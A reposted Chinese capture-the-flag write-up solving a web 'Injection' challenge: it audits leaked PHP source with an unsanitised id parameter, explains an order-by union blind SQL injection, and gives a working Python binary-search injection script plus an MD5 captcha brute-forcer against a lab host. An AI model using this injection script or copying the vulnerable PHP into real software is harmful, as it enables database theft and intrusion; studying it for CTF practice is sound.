AH-Web-Write-Up

栏目: 数据库 · 发布时间: 5年前

内容简介:记录一下一些题目很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解提示给的是 注入!注入!注入!

记录一下一些题目

Injection

很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解

题目分析

提示给的是 注入!注入!注入!

访问靶机,出现一张简单的登录页面

AH-Web-Write-Up

随便尝试一些弱口令和万能密码,没什么结果,右键源代码,发现提示信息

AH-Web-Write-Up

进入是一张注册界面,简单的注册个账户,先尝试登录,发现登录成功,发现很明显的id参数,所以直接开始尝试一下其他id的值(1,2,3,4)

AH-Web-Write-Up

发现 id=1 是admin的账户并且给出了提示

AH-Web-Write-Up

访问后发现是站点源码,只有5张页面

AH-Web-Write-Up

先看 profile.php ,由于代码量,所以只给出关键代码

页面开头给出了表结构,但是第四列是一个变量,也就是我们无法得到第四列名的信息

/*
CREATE TABLE `users` (
  `id` int(5) NOT NULL AUTO_INCREMENT,
  `user` varchar(20) DEFAULT NULL,
  `pass` varchar(32) DEFAULT NULL,
  `$secret` varchar(36) DEFAULT NULL,
  `count` int(3) DEFAULT NULL,
  PRIMARY KEY (`id`)
)
*/

剩下代码业务逻辑大致是 访问页面后会判断用户信息,记录访问次数,如果访问次数超过140次,那么兑换码就会被重置($secret字段就是存兑换码的字段)

而兑换码是根据 1234567890abcdefghijklmnopqrstuvwxyz 乱序去生成的

关键代码如下

// 兑换码生成与验证
function duihuanma_product()
{
    $string = "1234567890abcdefghijklmnopqrstuvwxyz";
    return str_shuffle($string);
}

function change($secret)
{
    global $username,$row;
    $duihuanma = duihuanma_product();
    $row = mysql_fetch_array(mysql_query("select * from users where user='$username'"));
    $count = $row['count'];
    if (!$row[$secret]){
        mysql_query("update users set $secret='{$duihuanma}' where user='$username'");
    }
    if($row['count'] == 140)
    {

        if(mysql_query("update users set $secret='{$duihuanma}' where user='$username';"))
        {
            mysql_query("update users set count=0 where user='$username';");
            die("<center><br><h3>尝试次数过多,兑换码已经重置</h3></center>");
        }
        return $duihuanma;
    }
    else
    {
    mysql_query("update users set count=({$row['count']} + 1) where user='$username';");
    }
    return $row[$secret];
}

// id值的业务代码
$id=$_GET['id']?$_GET['id']:0;
if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id))
    die('<h3>danger character dectected</h3>');
$sql = "select * from users where id=$id";
$result = mysql_query($sql);
$rownew = @mysql_fetch_array($result);
$rownew['user']=$rownew['user']?$rownew['user']:"noman";
?>
<h3>This is <?php echo $rownew['user'];?> page,您已经访问<?php echo $row['count']+1;?>次</h3><br>
<?php
if ($rownew['user']==='admin'){
    echo "<br><h3>good job,hint: thisissourcecode.zip</h3>";
}

在看 flag.php 页面,界面效果如下

AH-Web-Write-Up

看页面也知道需要兑换码和md5验证才能获得flag,关键代码如下

// 验证码生成
$captcha= getCaptcha(4);
$_SESSION['captcha'] = $captcha;
function getCaptcha($length){
	$str = null;
	$strPol = "0123456789abcdef";
	$max = strlen($strPol)-1;

	for($i=0;$i<$length;$i++){
		$str.=$strPol[rand(0,$max)];
	}
	return $str;
}

// 对比验证码
if (isset($_POST['captcha']) && isset($_POST['duihuanma'])) {
	if(!(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha']))
		die('<center><p>captcha not right</p></center>');
    $sql = "select $secret from users where user='${_SESSION['username']}'";
    #echo $sql;
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

}

// 对比兑换码
if (isset($_POST['duihuanma'])){
  if ($row[$secret]===$_POST['duihuanma']){
      echo "<br><center>".$flag."</center>";
  }else{
      echo "<center>flag兑换码不正确</center>";
  }
}

Order by 盲注获得兑换码

代码审计下来得到了大致的思路,需要先注入得到兑换码,然后在爆破MD5验证码后,提交即可

但是注入过滤了 . _ ( ) ,所以我们无法使用函数

同时我们也不知道兑换码字段名称,那么常规的方法无从下手

查阅资料得到,可以通过order by的一种注入手段来得到数据内容,具体原理可以看以下两篇文章,总结的很好

利用order by 进行盲注

基于union查询的盲注(感谢pcat牛不吝赐教)

我们可以借助这样的方法在不需要列名的情况下,比对出真实的数据

假设兑换码第一个字符是 5 ,当我们执行如图的语句之后,由于 6 的ASCII码比 5 大,所以还是显示原来的数据内容

AH-Web-Write-Up AH-Web-Write-Up AH-Web-Write-Up

观察上面的图片,就能发现,

union

但是题目要求我们在140内需要得到答案,如果使用了二分法也无法达到140内(测试下来一个数大概需要5-6次便可以确定,36个数便远远超过)

但是兑换码生成的算法是乱序,也就是说每一个字符必定只出现一次(在想的时候 gokoucat大佬 看一眼就找到了关键点,膜拜)

那么便有可能达到140内,并且最后一次也无需去发送请求(同时膜拜 phorse师傅如何更高效的盲注爆取数据-二分法 )

那么我们便可以写出 python 脚本

# coding=utf-8
import requests
import math

ALL = "0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
cookies = {"PHPSESSID": "7v527f98146aite4mobo4n0b13"}
count = 0
for i in range(35):
    left = 0
    right = len(ALL) - 1
    mid = int(math.ceil((left + right) / 2.0))
    while left < right:
        count += 1
        url = "http://10.10.118.51/profile.php?id=5 union select 1,2,3,'"+ flag + str(ALL[mid]) + "',5 order by 4"
        res = requests.get(url, cookies=cookies).text
        if "This is 2 page" in res:
            left = mid
        else:
            right = mid - 1
        mid = int(math.ceil((left + right) / 2.0))
        print(left, mid, right)
    flag += ALL[mid]
    # 去除已经出现的字符
    ALL = ALL.replace(ALL[mid], '')

print("-" * 100)
print(flag+ALL)
print(count)
print("-" * 100)

这边需要注意的是,由于 x<mid or x = mid 的回显情况相同都是 This is 2 page ,而 x>mid 的回显情况是 id=5的用户名
所以计算 mid 需要向上取整

结果如下

AH-Web-Write-Up

爆破MD5验证码

我们已经获得了兑换码,那么还需要利用简单的python脚本爆破MD5验证码

import hashlib

result = 1
while True:
    m = hashlib.md5(str(result))
    m = m.hexdigest()
    if m[0:4] == "ee6a":
        print(m)
        print(result)
        break
    result += 1

结果如下

AH-Web-Write-Up

提交后可以成功获取flag值

AH-Web-Write-Up

后来在google中也找到了原题的wp,非常详细的解答

【原创】Pwnhub会员日一题引发的思考

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

最优状态估计

最优状态估计

[美] D. 西蒙 / 张勇刚、李宁、奔粤阳 / 国防工业出版社 / 2013-5-1 / 68.00元

《最优状态估计——卡尔曼H∞及非线性滤波》共分为四个部分,全面介绍了最优状态估计的理论和方法。第1部分为基础知识,回顾了线性系统、概率论和随机过程相关知识,介绍了最小二乘法、维纳滤波、状态的统计特性随时间的传播过程。第2部分详细介绍了卡尔曼滤波及其等价形式,介绍了卡尔曼滤 波的扩展形式,包括相关噪声和有色噪声条件下的卡尔曼滤波、稳态滤波、衰减记忆滤波和带约束的卡尔 曼滤波等。第3部分详细介绍了H∞......一起来看看 《最优状态估计》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

html转js在线工具
html转js在线工具

html转js在线工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具